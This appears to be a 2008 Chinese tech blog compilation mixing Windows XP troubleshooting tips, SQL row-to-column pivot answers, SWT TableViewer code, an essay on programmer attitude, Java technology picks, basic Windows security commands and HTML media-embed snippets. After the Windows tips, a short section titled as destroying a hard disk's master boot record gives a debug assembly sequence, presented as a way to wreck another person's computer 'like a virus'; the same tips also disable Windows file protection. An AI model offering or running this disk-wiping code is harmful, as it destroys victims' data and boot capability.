  (3)删除Windows\Ime下不用的输入法(日文、韩文、约80MB)。

  (4)把我的文件、IE的临时文件夹转到其他硬盘(分区)。

  (5)把虚拟内存转到其他硬盘(分区)。

  25、如何卸载WindowsXP

  现象:我原来使用的操作系统是Windows98,最近听说WindowsXP非常好,就安装了该系统。第一次安装是从Windows98中安装,装完后觉得不太好,就格式化WindowsXP的分区后重新从DOS安装到D盘,安装完后发现多重启动菜单有三项(第一次装的WindowsXP那一项还在),请问如何删除多余的一项?另外,如果我要删除WindowsXP,除了格式化D盘外,怎样才能将它彻底删除?

  Windows98和WindowsXP双系统的启动菜单是由C盘根目录下的一个文件来控制的,通过修改该文件可以更改启动菜单。要想删除多余的WindowsXP项目,你可以打开C盘根目录下的boot.ini文件,其中有两行重复的“multi(0)…”,删除其中一行即可。要想彻底删除WindowsXP,除了格式化它所在分区之外,你还必须按下面的方法删除多重启动菜单和多余的系统文件:

  (1)制作一张Windows98启动盘,并将Windows98下的sys.com文件拷入该系统盘。

  (2)用该启动盘启动,在A:&gt;下执行sysC:命令。

  (3)删除C盘根目录下多余的文件,这些文件包括:boot.ini、bootfont.bin、bootsect.dos、ntdetect.com、pagefile.sys等。

  

  26、如何隐藏桌面图标


  在WindowsXP中增加了隐藏桌面图标的功能,你只需用鼠标单击桌面空白处,在弹出的右键菜单中选定“排列图标”命令,然后在其下一级级联菜单中取消对“显示桌面图标”命令的选定,系统就会自动将所有桌面图标隐藏。

  如果桌面上图标数量较多,可以用以下方法重新排列图标:在桌面空白区域单击鼠标右键,在弹出菜单中选择“排列图标”,然后在下一级菜单中单击图标排列规则即可。

  利用WindowsXP的“桌面清理”功能,可将你桌面上不使用的图标清理掉。方法是:在上面的“桌面”项目对话框的“常规”选项卡中,如果你选中“每60天运行桌面清理向导”复选框,系统就会每60天自动运行一次桌面清理向导,帮你清理掉桌面上不使用的图标。如果你单击“现在清理桌面”按钮,则系统会立即打开桌面清理向导,将你不使用的快捷方式图标移到一个名为“未使用的桌面快捷方式”的桌面文件夹中。该向导不移动、更改和删除任何程序,如果你想将某个图标重新移回桌面,可以从“未使用的桌面快捷方式”的桌面文件夹中将其还原。

  27、如何在WindowsXP中进行繁体字输入

  使用微软拼音3.0可以进行繁体字输入,你可在系统中选择微软拼音输入法,单击“选项”并在其中选中简、繁转换项,这时输入法状态条中就会有简、繁转换按钮,需要使用它切换即可进行繁体字输入了。

  当然还有其它更多的方法,就不再一一详述了。

  28、如何找回两台电脑相连图标

  现象:我的电脑装的是WindowsXP,在上网时系统托盘内的两台电脑相连的小图标不见了,使我经常不知道是否在线。请问应如何将它恢复?

  小图标不见了的原因在于网络连接的属性设置不对。在Windows98中拨号连接上互联网后,该连接的小图标将自动显示在任务栏上。如果小图标不见了,可右击“我的连接”,选择“属性→设置→选项”,选中“显示调制解调器状态”即可恢复。在Windows2000和WindowsXP中,用户可以控制和设置连接图标的显示和隐藏功能。具体的方法是打开拨号连接或者网络连接的“属性”对话框,然后选中或者清除“连接后在通知区域显示图标”复选框,就可以实现该图标的显示或隐藏了。

  29、如何制作自动系统恢复软盘

  现象:我在WindowsXP下未找到制作紧急修复磁盘的界面,请问如何制作?另外我的Windows98每次启动时都提示输入用户名与密码,请问如何消除?

  WindowsXP的紧急修复磁盘准确的名称应该是“自动系统恢复(ASR)软盘”,它可以备份那些启动系统所需的系统文件。制作方法是:单击“开始→所有程序→附件→系统工具”,然后单击“备份”,单击备份工具向导中的“高级模式”按钮。在“工具”菜单上,单击“ASR向导”;然后按照屏幕上的提示进行操作即可(注意:事先应准备好保存系统设置的1.44MB的空软盘)。使用方法也很简单:将WindowsXP系统的安装光盘插入CD驱动器中,重新启动计算机。在出现安装界面时,按F2,系统将提示你插入以前创建的ASR软盘(ASR不会还原数据文件)。请按照屏幕上的向导进行操作即可自动恢复系统。另外,即使没有“自动系统恢复(ASR)软盘”,也可以使用“修复”功能恢复WindowsXP系统引导菜单,只是某些个人的特殊设置会被恢复成默认设置,使用“自动系统恢复(ASR)软盘”则不会。

  Windows98每次启动时都提示输入用户名与密码,可以按“Esc”键进入Windows98桌面,这时可以将Windows目录下的密码文件*.pwl删除。例如用户名为“qq”,相应的密码文件就是“qq.pwl”,找到它并删除它,然后重新启动电脑,在出现登录窗口时输入原来的用户名“qq”,密码不填,这样就可以消除了。

  30、如何自动关闭停止响应的程序

  在WindowsXP操作系统中,这个设置可以使WindowsXP当诊测到某个应用程序已经停止响应时可以自动关闭它,而不需要进行麻烦的手工干预。想要实现这个功能,就请单击“开始→运行”输入“Regedit”打开注册表编辑器,找到HKEY_CURRENT_USER\ControlPanel\Desktop分支,将AutoEndTasks的键值设置为1即可。

  31、为何不能安装WindowsXP

  现象:我用Windows98启动盘启动计算机并安装WindowsXP,整整花了6个小时才完成,听朋友说他在一台配置和我一样的机器上只花了1个小时的时间就完成了WindowsXP的安装(也是用Windows98启动盘启动),请问WindowsXP正确的安装方法是怎样的?

  这是因为你没有加载磁盘高速缓存的缘故。此文件在Windows98的安装目录下,名为smartdrv.exe,将其拷入软盘,安装之前运行一下就可以了。另外你可以将启动顺序设为从光盘启动,这样WindowsXP的安装盘会自动加载磁盘高速缓存。

  

  32、为何不能在WindowsXP下安装软件


  现象:我在一台安装有WindowsXP家庭版的微机上安装软件时出现“Youdonothaveaccesstomaketherequriedsystemconfigurationmodifications.Pleasereturnthisinstallationfromanadministratorsaccount.”。请问这是为什么?这种软件在Windows98下可正常安装。请问如何解决?

  WindowsXP为了保护系统的安全和稳定,使用了用户账户和密码保护的方式来控制用户的操作。即只有指定的人才能干指定的事情。安装软件等修改系统的操作需要用户拥有该计算机管理员的权力才能执行,这就是你为什么不能安装软件的原因,相信还有很多操作你都执行不了。

  系统在安装时,默认“administrator”帐号是管理员的身份,你可以采用下面的方法使自己成为管理员:

  (1)首先要以管理员的身份进入计算机。单击“开始”菜单上的“注销”,确认进入等待登录的画面,同时按下键盘上的“Ctrl+Alt+Del”键。

  (2)在弹出的对话框中,在用户名框中输入“administrator”,密码框中输入安装时设置的密码。如果你在安装时没有设置密码,密码当然为空,然后回车进入计算机。

  (3)打开“控制面板中”的“用户账户”,就会看到自己的用户账户,在旁边写着“受限的账户”。

  (4)单击打开自己的账户,然后单击“更改账户类型”。在弹出的窗口中,单击选中“计算机管理员”的单选按钮,然后单击“更改账户类型”按钮,确认并退出。你现在就可以干自己想做的事情了。

  为了保证计算机的安全,建议用户设置用户密码,以避免发生安全问题而遭到不必要的损失。

  33、为何更改硬件配置就出现死机现象

  现象:在WindowsXP中只要一更改硬件配置,系统就启动不了,如何解决?

  这是因为WindowsXP中使用了激活产品程序,激活产品程序是微软在WindowsXP中最新加入的防盗版功能。由于激活产品程序会根据你的电脑硬件配置生成一个硬件号,因此如果你改变了改硬件配置,激活产品程序就会发现硬件配置与之不符,这时系统就会停止运行并要求你重新激活产品才可以重新运行。

  

  34、为什么WindowsXP磁盘可用空间不断减少


  现象:我使用WindowsXP时发现,随着不断地增加、删除应用程序,磁盘可用空间不断减少,这是为什么?

  从Windows2000开始,Windows会在每个硬盘分区中建立一个“SystemVolumeInfor-mation”文件夹,在该文件夹中提供的是系统默认保存的系统还原备份文件。不过Windows2000还没有正式提供系统还原功能,在WindowsXP中,你可以看到相关的选项。

  为防止这个问题发生,最简单的方法就是关闭“系统还原”功能。如果要删除这个文件夹中保存的文件,你需要以Administrator(管理员)身份登录系统。

  35、为什么WindowsXP所占空间很大

  


  现象:安装了WindowsXP后,使用一段时间发现经常登陆的一个用户的文件夹所占的空间特别大,大约1.2GB;可是其他不常登陆的只有10MB左右,这是怎么回事?

  WindowsXP为每个用户都设置了各自的文件夹,把登录用户在使用过程中的操作都记录下来,同时也产生各自的临时文件,上网缓存文件,安装软件时产生的共用文件(软件中共用),所以常登录的用户文件夹必然很大。把临时文件与上网的缓存文件删除可以省出很多空间。

  36、如何消除WindowsXP的文档保护功能

  怎样消除WindowsXP的文档保护功能?

  为了完全消除Windows文档保护功能,打开注册表编辑器,设置键值:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon,将SFCDisable的键值设置为0xFFFFFF9D即可

  破坏硬盘主引导扇区

  如果你有机会接触对方的电脑,无论是否是物理接触都可以,只要能在对方的电脑上运行下面这些代码,就可以破坏对方硬盘主引导扇区,象病毒一样厉害。方法是运行debug,然后输入:

  a100

  movax,301

  movbx,1000

  movcx,1

  movdx,80

  int13

  g=10010e
posted @ 2008-04-09 18:27 jadmin 阅读(56) | 评论 (0)编辑 收藏

怎么样用left join 把行改成列

怎么样用left join 把行改成列
有如下表a1

学号     姓名   课程类型   学分数
2001   李四     公共课         2
2001   李四     专业课         1
2001   李四     公共课         3
2001   李四     专业课         2

通过查询器查询成
学号         姓名     公共课学分数   专业课学分数
2001       李四           5                       3

用下面语句
select   学号,姓名,sum(学分数)   as   公共课学分数   from   A1   where   课程类型='公共课'   group   by   学号
left   join   .......
后面怎么写呢,请指教.要不要建个临时表. 20 回复次数:6

第1个回答


SQL code

--------------------------------------------------------------------------------/*

普通行列转换

(爱新觉罗.毓华 2007-11-18于海南三亚)

假设有张学生成绩表(tb)如下:

Name Subject Result

张三 语文  74

张三 数学  83

张三 物理  93

李四 语文  74

李四 数学  84

李四 物理  94

*/

-------------------------------------------------------------------------

/*

想变成

姓名         语文        数学        物理         

---------- ----------- ----------- -----------

李四         74          84          94

张三         74          83          93

*/

create table tb

(

   Name    varchar(10) ,

   Subject varchar(10) ,

   Result int

)

insert into tb(Name , Subject , Result) values('张三' , '语文' , 74)

insert into tb(Name , Subject , Result) values('张三' , '数学' , 83)

insert into tb(Name , Subject , Result) values('张三' , '物理' , 93)

insert into tb(Name , Subject , Result) values('李四' , '语文' , 74)

insert into tb(Name , Subject , Result) values('李四' , '数学' , 84)

insert into tb(Name , Subject , Result) values('李四' , '物理' , 94)

go

--静态SQL,指subject只有语文、数学、物理这三门课程。

select name 姓名,

max(case subject when '语文' then result else 0 end) 语文,

max(case subject when '数学' then result else 0 end) 数学,

max(case subject when '物理' then result else 0 end) 物理

from tb

group by name

/*

姓名         语文        数学        物理         

---------- ----------- ----------- -----------

李四         74          84          94

张三         74          83          93

*/

--动态SQL,指subject不止语文、数学、物理这三门课程。

declare @sql varchar(8000)

set @sql = 'select Name as ' + '姓名'

select @sql = @sql + ' , max(case Subject when ''' + Subject + ''' then Result else 0 end) [' + Subject + ']'

from (select distinct Subject from tb) as a

set @sql = @sql + ' from tb group by name'

exec(@sql)

/*

姓名         数学        物理        语文         

---------- ----------- ----------- -----------

李四         84          94          74

张三         83          93          74

*/

-------------------------------------------------------------------

/*加个平均分,总分

姓名         语文        数学        物理        平均分                总分         

---------- ----------- ----------- ----------- -------------------- -----------

李四         74          84          94          84.00                252

张三         74          83          93          83.33                250

*/

--静态SQL,指subject只有语文、数学、物理这三门课程。

select name 姓名,

max(case subject when '语文' then result else 0 end) 语文,

max(case subject when '数学' then result else 0 end) 数学,

max(case subject when '物理' then result else 0 end) 物理,

cast(avg(result*1.0) as decimal(18,2)) 平均分,

sum(result) 总分

from tb

group by name

/*

姓名         语文        数学        物理        平均分                总分         

---------- ----------- ----------- ----------- -------------------- -----------

李四         74          84          94          84.00                252

张三         74          83          93          83.33                250

*/

--动态SQL,指subject不止语文、数学、物理这三门课程。

declare @sql1 varchar(8000)

set @sql1 = 'select Name as ' + '姓名'

select @sql1 = @sql1 + ' , max(case Subject when ''' + Subject + ''' then Result else 0 end) [' + Subject + ']'

from (select distinct Subject from tb) as a

set @sql1 = @sql1 + ' , cast(avg(result*1.0) as decimal(18,2)) 平均分,sum(result) 总分 from tb group by name'

exec(@sql1)

/*

姓名         数学        物理        语文        平均分                总分         

---------- ----------- ----------- ----------- -------------------- -----------

李四         84          94          74          84.00                252

张三         83          93          74          83.33                250

*/

drop table tb   

---------------------------------------------------------

---------------------------------------------------------

/*

如果上述两表互相换一下:即

姓名 语文 数学 物理

张三 74  83  93

李四 74  84  94

想变成

Name       Subject Result     

---------- ------- -----------

李四         语文      74

李四         数学      84

李四         物理      94

张三         语文      74

张三         数学      83

张三         物理      93

*/

create table tb1

(

   姓名 varchar(10) ,

   语文 int ,

   数学 int ,

   物理 int

)

insert into tb1(姓名 , 语文 , 数学 , 物理) values('张三',74,83,93)

insert into tb1(姓名 , 语文 , 数学 , 物理) values('李四',74,84,94)

select * from

(

select 姓名 as Name , Subject = '语文' , Result = 语文 from tb1

union all

select 姓名 as Name , Subject = '数学' , Result = 数学 from tb1

union all

select 姓名 as Name , Subject = '物理' , Result = 物理 from tb1

) t

order by name , case Subject when '语文' then 1 when '数学' then 2 when '物理' then 3 when '总分' then 4 end

--------------------------------------------------------------------

/*加个平均分,总分

Name       Subject     Result              

---------- -------    --------------------

李四         语文      74.00

李四         数学      84.00

李四         物理      94.00

李四         平均分    84.00

李四         总分      252.00

张三         语文      74.00

张三         数学      83.00

张三         物理      93.00

张三         平均分    83.33

张三         总分      250.00

*/

select * from

(

select 姓名 as Name , Subject = '语文' , Result = 语文 from tb1

union all

select 姓名 as Name , Subject = '数学' , Result = 数学 from tb1

union all

select 姓名 as Name , Subject = '物理' , Result = 物理 from tb1

union all

select 姓名 as Name , Subject = '平均分' , Result = cast((语文 + 数学 + 物理)*1.0/3 as decimal(18,2)) from tb1

union all

select 姓名 as Name , Subject = '总分'
, Result = 语文 + 数学 + 物理 from tb1 ) t order by name , case Subject when '语文' then 1 when '数学' then 2 when '物理' then 3 when '平均分' then 4 when '总分' then 5 end drop table tb1


--------------------------------------------------------------------------------

第2个回答
有如下表a1  

学号           姓名       课程类型       学分数  
2001       李四           公共课                   2  
2001       李四           专业课                   1  
2001       李四           公共课                   3  
2001       李四           专业课                   2  

通过查询器查询成  
学号                   姓名           公共课学分数       专业课学分数  
2001               李四                       5                                               3  

用下面语句  
select       学号,姓名,sum(学分数)       as       公共课学分数       from       A1       where       课程类型='公共课'       group       by       学号  
left       join       .......  
后面怎么写呢,请指教.要不要建个临时表.  


SQL code

--------------------------------------------------------------------------------select 学号,姓名,

sum(case 课程类型 when '公共课' then 学分数 else 0 end) 公共课学分数,

sum(case 课程类型 when '专业课' then 学分数 else 0 end) 专业课学分数

from tb

group by 学号,姓名

--------------------------------------------------------------------------------

第3个回答


SQL code

----------------------------------------------------------------------------------静态SQL,指课程类型只有公共课,专业课

select 学号,姓名,

sum(case 课程类型 when '公共课' then 学分数 else 0 end) 公共课学分数,

sum(case 课程类型 when '专业课' then 学分数 else 0 end) 专业课学分数

from tb

group by 学号,姓名

--静态SQL,指课程类型不止公共课,专业课

declare @sql varchar(8000)

set @sql = 'select 学号,姓名'

select @sql = @sql1 + ' , sum(case 课程类型 when ''' + 课程类型 + ''' then 学分数 else 0 end) [' + 课程类型 + '学分数]'

from (select distinct 课程类型 from tb) as a

set @sql = @sql + ' from tb group by 学号,姓名'

exec(@sql)

--------------------------------------------------------------------------------

第4个回答


SQL code

--------------------------------------------------------------------------------create table tb(学号 int,姓名 varchar(10),课程类型 varchar(10),学分数 int)

insert tb select 2001,'李四','公共课',2

union all select 2001,'李四','专业课',1

union all select 2001,'李四','公共课',3

union all select 2001,'李四','专业课',2

select 学号,姓名,

       公共课=sum(case 课程类型 when '公共课' then 学分数 else 0 end),

       专业课=sum(case 课程类型 when '专业课' then 学分数 else 0 end)

from tb

group by 学号,姓名

--动态SQL

declare @sql varchar(4000)

select @sql='select 学号,姓名'

select @sql=@sql+',['+课程类型+']=sum(case 课程类型 when '''+课程类型+''' then 学分数 else 0 end)'

from tb group by 课程类型

exec(@sql+N' from tb group by 学号,姓名')

drop table tb

/*

学号          姓名         公共课         专业课        

----------- ---------- ----------- -----------

2001        李四         5           3

*/

--------------------------------------------------------------------------------

第5个回答
select     学号,姓名,
sum(decode(课程类型,'公共课',   学分数,   0)   公共课学分数,
sum(decode(课程类型,   '专业课',学分数,   0)   专业课学分数
from   tb
group   by   学号,姓名

posted @ 2008-04-08 21:49 jadmin 阅读(105) | 评论 (0)编辑 收藏

// 第一步:创建一个TableViewer对象。
TableViewer tv = new TableViewer(shell, SWT.MULTI | SWT.BORDER | SWT.FULL_SELECTION);

// 第二步:通过表格内含的Table对象设置布局方式
Table table = tv.getTable();
table.setHeaderVisible(true); // 显示表头
table.setLinesVisible(true); // 显示表格线
TableLayout layout = new TableLayout(); // 专用于表格的布局
table.setLayout(layout);

// 第三步:用TableColumn类创建表格列
layout.addColumnData(new ColumnWeightData(13));// ID列宽13像素
new TableColumn(table, SWT.NONE).setText("ID号");
layout.addColumnData(new ColumnWeightData(40));
new TableColumn(table, SWT.NONE).setText("姓名");
layout.addColumnData(new ColumnWeightData(20));
new TableColumn(table, SWT.NONE).setText("性别");
layout.addColumnData(new ColumnWeightData(20));
new TableColumn(table, SWT.NONE).setText("年龄");
layout.addColumnData(new ColumnWeightData(60));
new TableColumn(table, SWT.NONE).setText("记录建立时间");

// 第四步:设置内容器和标签器
tv.setContentProvider(new TableViewerContentProvider());
tv.setLabelProvider(new TableViewerLabelProvider());

// 第五步:用TableViewer的setInput方法将数据输入到表格
Object data = PeopleFactory.getPeoples();
tv.setInput(data);

其中:
TableViewerContentProvider.java 内容器
TableViewerLabelProvider.java    标签器
PeopleFactory.java               产生TableViewer的数据源

从整体上把握以上5点,TableViewer用起来就简单了

Tags:java,rcp,jface,swt,ibm,eclipse,ui,gui

posted @ 2008-03-31 11:53 jadmin 阅读(560) | 评论 (0)编辑 收藏

       近来看了很多程序员的言论……感觉都是满腹牢骚,一肚子愤懑。我想要说的是,程序员不是神。时下一些程序员所能作的,其实大多数普通人通过一段时间的培训和学习都可以作。编程工具已越来越容易使用,编程思想越来越成熟,计算机书籍更是琳琅满目,开发过程中的规范性也已经越来越重要。作为一个普普通通的程序员,只是几个通宵的投入,1-2个月囫囵吞枣的学习,又能有什么理由能奢求太多?

  其实当很多人计算着自己一行代码值几毛钱的时候,或许他从来没有踏踏实实去考虑自己的能力和水平究竟如何。坦诚的讲,大多数程序员的代码质量和设计质量充其量只能算入门水平,学什么东西也只是皮毛而已,尽管可能简历上写得是精通……

  这社会是现实的,发展的。十多年前,程序员是个真正的有门槛的行业。因为那时候没那么多漂亮的开发工具,没有高级语言的支持,甚至连面向对象的开发思想都还仅仅是萌芽,更不用说什么质量控制体系。那时候要掌握开发技术远比其他行业的技术困难得多,只有少数精英才能做到,而且还需要有过人的智力、耐心与毅力。要付出很多很多。这些“精英”,自然也能得到社会足够的尊重。而现在,在前辈的辛苦耕耘下,进入这个行业几乎已经没有了门槛。当你怀着对前人获得的财富、荣誉和使命感走上程序员这条路的时候,可能你根本就不知道等待自己的将是什么……其实,而今在自己公司一小群程序员里“冒充”某某方面专家的时候,很多人却不知道甚至根本无法想像,在不很久远的过去,自己或许只能选择中途放弃。

  虽然不是每个人都这样,但是我还是要说:有人根本没毅力,他们只想轻轻松松的赚钱,却从来不想承担自己该承担的责任;有人根本没创造性,他唯一会作的就是把别人的代码抓来抄袭一下;有人始终自以为是,代码能编译通过和运行了就觉得可以OK完工了;有人的设计和代码糟糕冗余,可被其他人精简2-3倍长,性能也可优化数十倍;有人技术视野狭隘,搞C++的就觉得Java是个Sun的新式玩具,搞Java就鄙夷C++为洪水猛兽和怪物;更有人还把用别人发现的漏洞、别人开发的工具去黑黑别人的电脑当做自己已经是牛人和所谓的“黑客”。这些“程序员”真的能算程序员么?如果这也算程序员,我认为他们也只是现在这个时代最平庸的一群程序员而已……

  其实任何行业、任何职业都会面临这样或那样的机遇,总有不知道的困难、烦恼在前面等着你。大家羡慕的只是成功时的鲜花和啤酒,又有几个人真正去羡慕成功背后的艰辛和苦楚呢?作销售好,作管理好,作老板好,作XX好……这样类似的话我听得都厌烦了。要我说,作自己最好。

  在这社会上,我们或许习惯了用社会的、他人的标准去衡量、去比较,比如什么女朋友好不好、老婆好不好、工作好不好、老板好不好之类的。诚然,人不能脱离现实、脱离社会,人需要生存。但今天社会给我们所提供的机会,已经比我们的父辈开阔了许多许多。我不认为一个有才能、肯吃苦的人会失去谋生的机会,或者说会生存得比我们的父辈还要艰辛,我们还有什么可抱怨的?也许我们没有搭上某趟快速致富的列车,也许我们看到其他搭上列车的人的成功心理难以平衡,但是不是说我们就因此无法自信的在朋友面前抬起头,无法博得一份属于自己的爱情,无法获得其他人的尊重,无法去作一份有意义的工作,无法享受一份美好的生活呢?

  其实,没人能剥夺别人的快乐,没人能总结出一条适用于所有人的所谓“成功”标准,没人能鱼和熊掌兼得。有些人茫然的来,如同另外一些人茫然的走,没有带来什么,更没有留下什么,这就是而今大多数浮躁的程序员的道路。或许,我们的国家现在还没有美国那样重视知识、重视科学、重视创新,然而除非你自己拒绝所有的机会,不然社会也同样不会让有开发知识、有创新能力的人都被逼得当街卖烧烤。

  不懂得珍惜现在的人,永远不可能把握未来……没有好的心态,就已经先失败了一半。作什么其实不重要,然而智慧的人知道怎么踏踏实实的去走脚下的路,平庸的人却只知道羡慕和抱怨,从来不留意脚下的路。

  最后用一句话来总结:程序员不是神,心态决定一切,成功在你脚下。

posted @ 2008-03-28 19:01 jadmin 阅读(75) | 评论 (0)编辑 收藏
Carlos Perez(著名的Java技术人员)最近发表了他认为值得在2008学习五种的JAVA技术,它们是:

OSGi(基于Java的动态模型规范)
注:OSGi(Open Service Gateway Initiative)指OSGi Alliance组织制定的一个基于Java语言的服务(业务)规范——OSGi服务平台(Service Platform)。 该规范和核心部分是一个框架 ,其中定义了应用程序的生命周期模式和服务注册。这个框架实现了一个优雅、完整和动态的组件模型。应用程序(称为bundle)无需重新引导可以被远程安装、启动、升级和卸载(其中Java包/类的管理被详细定义)。API中还定义了运行远程下载管理政策的生命周期管理。服务注册允许bundles去检测新服务和取消的服务,然后相应配合。

Java内容仓库,最早于2002年2月由JCP发布
注:JCP(Java Community Process) 是一个开放的国际组织,主要由Java开发者以及被授权者组成,职能是发展和更新Java技术规范、参考实现(RI)、技术兼容包(TCK)。JCP维护的规范包括J2ME、J2SE、J2EE,XML,OSS,JAIN等。组织成员可以提交JCR(Java SpECification RequESts),通过特定程序以后,进入到下一版本的规范里面。

Google Web Toolkit(最早发布于2006年5月)
注:GWT(Google Web Toolkit) 是 Google 推出的一个开发 Ajax 应用的框架,它支持用 Java 开发和调试 Ajax 应用。

Groovy(最早发布于2004年5月)
注:Groovy是一种面向对象的程序设计语言,作为Java程序设计语言的一种可选替代品,并增加了Python,Ruby和Smalltalk中的一些特性。

云雾计算(用于虚拟服务器的设计理念,或无需EJB的分布式计算)
注:“云雾计算”的英文即Cloud Computing。自谷歌发展起来之后,极大规模的服务器集中在一起,统一管理,形成了“云雾计算”(“Cloud Computing”)的物质基础。“云雾计算”是社会计算能力的大集中,也是所谓“SaaS”的客观基础。

有趣的是,其中有几种技术已经成熟,或者说是过时,并且正在其被推荐应用的项目中有成熟的应用。当然,这五种技术都很有价值。OSGi是Eclipse的建模系统,Goovry因其正式的规范说明和频繁的改进版发布赢得支持。GWT也算是成熟稳定,云雾计算正在受到更为广泛市场的接受。

JRC和云雾计算是最近才被广泛接受的技术,但是厂商正在利用竞争和商业关系猎取支持来发布相关的产品(比如GridGain,Gigaspaces,和Terracotta),而有的厂商还正在对此进行策划(TSS计划在TSSJS2008发布JCR相关的声明)。
posted @ 2008-02-12 16:30 jadmin 阅读(55) | 评论 (0)编辑 收藏

一些基本的命令往往可以在保护网络安全上起到很大的作用,下面几条命令的作用就非常突出。

一、检测网络连接
如果你怀疑自己的计算机上被别人安装了木马,或者是中了病毒,但是手里没有完善的工具来检测是不是真有这样的事情发生,那可以使用Windows自带的网络命令来看看谁在连接你的计算机。
具 体的命令格式是:netstat -an这个命令能看到所有和本地计算机建立连接的IP,它包含四个部分——proto(连接方式)、local address(本地连接地址)、foreign address(和本地建立连接的地址)、state(当前端口状态)。通过这个命令的详细信息,我们就可以完全监控计算机上的连接,从而达到控制计算机 的目的。


二、禁用不明服务
很多朋友在某天系统重新启动后会发现计算机速度变慢了,不管怎么优化都慢,用杀毒软件也查不出问题,这个时候很 可能是别人通过入侵你的计算机后给你开放了特别的某种服务,比如IIS信息服务等,这样你的杀毒软件是查不出来的。但是别急,可以通过“net start”来查看系统中究竟有什么服务在开启,如果发现了不是自己开放的服务,我们就可以有针对性地禁用这个服务了。
方法就是直接输入“net start”来查看服务,再用“net stop server”来禁止服务。


三、轻松检查账户
很 长一段时间,恶意的攻击者非常喜欢使用克隆账号的方法来控制你的计算机。他们采用的方法就是激活一个系统中的默认账户,但这个账户是不经常用的,然后使用 工具把这个账户提升到管理员权限,从表面上看来这个账户还是和原来一样,但是这个克隆的账户却是系统中最大的安全隐患。恶意的攻击者可以通过这个账户任意 地控制你的计算机。
为了避免这种情况,可以用很简单的方法对账户进行检测。
首先在命令行下输入net user,查看计算机上有些什么用户,然后再使用“net user+用户名”查看这个用户是属于什么权限的,一般除了Administrator是administrators组的,其他都不是!如果你发现一个 系统内置的用户是属于administrators组的,那几乎肯定你被入侵了,而且别人在你的计算机上克隆了账户。快使用“net user用户名/del”来删掉这个用户吧!
联网状态下的客户端。对于没有联网的客户端,当其联网之后也会在第一时间内收到更新信息将病毒特征库更新到最新版本。不仅省去了用户去手动更新的烦琐过程,也使用户的计算机时刻处于最佳的保护环境之下。

posted @ 2008-01-19 19:48 jadmin 阅读(70) | 评论 (0)编辑 收藏
1.avi格式代码片断如下:

<object id="video" width="400" height="200" border="0" classid="clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA">
<param name="ShowDisplay" value="0">
<param name="ShowControls" value="1">
<param name="AutoStart" value="1">
<param name="AutoRewind" value="0">
<param name="PlayCount" value="0">
<param name="Appearance value="0 value=""">
<param name="BorderStyle value="0 value=""">
<param name="MovieWindowHeight" value="240">
<param name="MovieWindowWidth" value="320">
<param name="FileName" value="/Mbar.avi">
<embed width="400" height="200" border="0" showdisplay="0" showcontrols="1" autostart="1" autorewind="0" playcount="0" moviewindowheight="240" moviewindowwidth="320" filename="/Mbar.avi" src="Mbar.avi">
</embed>
</object>


2.mpg格式代码片断如下:

<object classid="clsid:05589FA1-C356-11CE-BF01-00AA0055595A" id="ActiveMovie1" width="239" height="250">
<param name="Appearance" value="0">
<param name="AutoStart" value="-1">
<param name="AllowChangeDisplayMode" value="-1">
<param name="AllowHideDisplay" value="0">
<param name="AllowHideControls" value="-1">
<param name="AutoRewind" value="-1">
<param name="Balance" value="0">
<param name="CurrentPosition" value="0">
<param name="DisplayBackColor" value="0">
<param name="DisplayForeColor" value="16777215">
<param name="DisplayMode" value="0">
<param name="Enabled" value="-1">
<param name="EnableContextMenu" value="-1">
<param name="EnablePositionControls" value="-1">
<param name="EnableSelectionControls" value="0">
<param name="EnableTracker" value="-1">
<param name="Filename" value="/mpeg/halali.mpg" valuetype="ref">
<param name="FullScreenMode" value="0">
<param name="MovieWindowSize" value="0">
<param name="PlayCount" value="1">
<param name="Rate" value="1">
<param name="SelectionStart" value="-1">
<param name="SelectionEnd" value="-1">
<param name="ShowControls" value="-1">
<param name="ShowDisplay" value="-1">
<param name="ShowPositionControls" value="0">
<param name="ShowTracker" value="-1">
<param name="Volume" value="-480">
</object>


3.smi格式代码片断如下:

<OBJECT id=RVOCX classid=clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA width=240 height=180>
<param name="_ExtentX" value="6350">
<param name="_ExtentY" value="4763">
<param name="AUTOSTART" value="-1">
<param name="SHUFFLE" value="0">
<param name="PREFETCH" value="0">
<param name="NOLABELS" value="-1">
<param name="SRC" value="rm.rm">
<param name="CONTROLS" value="ImageWindow">
<param name="CONSOLE" value="console1">
<param name="LOOP" value="0">
<param name="NUMLOOP" value="0">
<param name="CENTER" value="0">
<param name="MAINTAINASPECT" value="0">
<param name="BACKGROUNDCOLOR" value="#000000"><embed src="real.smi" type="audio/x-pn-realaudio-plugin" console="Console1" controls="ImageWindow" height="180" width="240" autostart="true"></OBJECT>



4.rm格式代码片断如下:

<OBJECT ID=video1 CLASSID="clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA" HEIGHT=288 WIDTH=352>
<param name="_ExtentX" value="9313">
<param name="_ExtentY" value="7620">
<param name="AUTOSTART" value="0">
<param name="SHUFFLE" value="0">
<param name="PREFETCH" value="0">
<param name="NOLABELS" value="0">
<param name="SRC" value="rtsp://203.*.*.35/vod/dawan-a.rm">
<param name="CONTROLS" value="ImageWindow">
<param name="CONSOLE" value="Clip1">
<param name="LOOP" value="0">
<param name="NUMLOOP" value="0">
<param name="CENTER" value="0">
<param name="MAINTAINASPECT" value="0">
<param name="BACKGROUNDCOLOR" value="#000000"><embed SRC type="audio/x-pn-realaudio-plugin" CONSOLE="Clip1" CONTROLS="ImageWindow" HEIGHT="288" WIDTH="352" AUTOSTART="false">
</OBJECT>



5.wmv格式代码片断如下:

<object id="NSPlay" width=200 height=180 classid="CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95" codebase="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=6,4,5,715" standby="Loading Microsoft Windows Media Player components..." type="application/x-oleobject" align="right" hspace="5">
<param name="AutoRewind" value=1>
<param name="FileName" value="http://192.168.1.71/verypower/shichang.wmv">
<param name="ShowControls" value="1">
<param name="ShowPositionControls" value="0">
<param name="ShowAudioControls" value="1">
<param name="ShowTracker" value="0">
<param name="ShowDisplay" value="0">
<param name="ShowStatusBar" value="0">
<param name="ShowGotoBar" value="0">
<param name="ShowCaptioning" value="0">
<param name="AutoStart" value=1>
<param name="Volume" value="-2500">
<param name="AnimationAtStart" value="0">
<param name="TransparentAtStart" value="0">
<param name="AllowChangeDisplaySize" value="0">
<param name="AllowScan" value="0">
<param name="EnableContextMenu" value="0">
